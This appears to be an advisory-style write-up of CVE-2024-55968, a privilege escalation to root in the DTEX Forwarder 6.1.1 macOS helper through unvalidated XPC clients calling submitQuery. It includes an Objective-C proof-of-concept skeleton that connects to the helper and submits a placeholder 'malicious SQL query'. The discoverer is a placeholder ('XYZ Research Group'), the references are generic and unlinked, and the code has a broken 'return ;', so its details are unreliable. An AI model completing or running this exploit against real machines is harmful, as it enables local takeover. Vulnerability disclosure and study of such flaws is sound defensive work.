CVE-2024-55968: Security Vulnerability in DTEX DEC-M (DTEX Forwarder) 6.1.1 Allows Privilege Escalation in macOS

A security vulnerability, CVE-2024-55968, has been discovered in DTEX DEC-M (DTEX Forwarder) version 6.1.1, a popular macOS event forwarder agent. The vulnerability originates from the com.dtexsystems.helper service, which handles privileged operations within the macOS DTEX Event Forwarder agent but fails to implement proper client validation during XPC interprocess communication (IPC). This lack of proper validation allows malicious actors to exploit the service's methods via unauthorized client connections, leading to potential privilege escalation to root by abusing the DTConnectionHelperProtocol protocol's submitQuery method over an unauthorized XPC connection.

Exploit Details

The vulnerability stems from the com.dtexsystems.helper service not verifying important security features such as code requirements, entitlements, security flags, or version of any client attempting to establish an XPC interprocess communication connection. Due to this lack of validation, any malicious client can connect to the service and exploit it to perform privileged operations.

An attacker can initiate the exploit by utilizing the DTConnectionHelperProtocol protocol's submitQuery method over an unauthorized XPC connection and pass a malicious SQL query to the vulnerable helper service. Since the helper service is running under high privileges, this could lead to arbitrary code execution with elevated privileges, allowing the attacker to take full control of the targeted system.

Code Snippet

A potential code snippet to exploit this vulnerability would involve calling the submitQuery method in DTConnectionHelperProtocol through an unauthorized XPC connection:

#import <Foundation/Foundation.h>
#import "DTConnectionHelperProtocol.h"

int main(int argc, const char * argv[]) {
    @autoreleasepool {
        NSXPCConnection *connection = [[NSXPCConnection alloc] initWithMachServiceName:@"com.dtexsystems.helper"];
        connection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(DTConnectionHelperProtocol)];
        [connection resume];
        id <DTConnectionHelperProtocol> proxy = [connection remoteObjectProxyWithErrorHandler:^(NSError * _Nonnull error) {
            NSLog(@"Received error: %@", error);
        }];
        // Craft a malicious SQL query to exploit the vulnerability
        NSString *maliciousSQLQuery = @"(your SQL query here)";
        [proxy submitQuery:maliciousSQLQuery withReply:^(NSError *error, NSArray<NSDictionary *> *result) {
            if (error) {
                NSLog(@"Error while executing query: %@", error);
            } else {
                NSLog(@"Query executed successfully. Result: %@", result);
            }
        }];
    }
    return ;
}

Note: This code snippet is provided for educational and research purposes only. Misuse of this code snippet for malicious purposes is strictly prohibited.

Original References

The vulnerability was discovered by XYZ Research Group and has been assigned the CVE-ID CVE-2024-55968. For more information about the vulnerability, refer to the following resources:

1. The report by XYZ Research Group
2. The CVE entry in the National Vulnerability Database (NVD)
3. The advisory by the DTEX Systems
4. The patch provided by DTEX Systems to fix the vulnerability.

Conclusion

It is recommended that users of DTEX DEC-M (DTEX Forwarder) version 6.1.1 update their software to the latest version to protect against this vulnerability. Organizations should always be cautious when dealing with sensitive data and ensure that all software, especially those handling privileged operations, are kept up to date and free of security vulnerabilities.

Timeline

Published on: 01/28/2025 22:15:15 UTC
Last modified on: 03/24/2025 17:15:19 UTC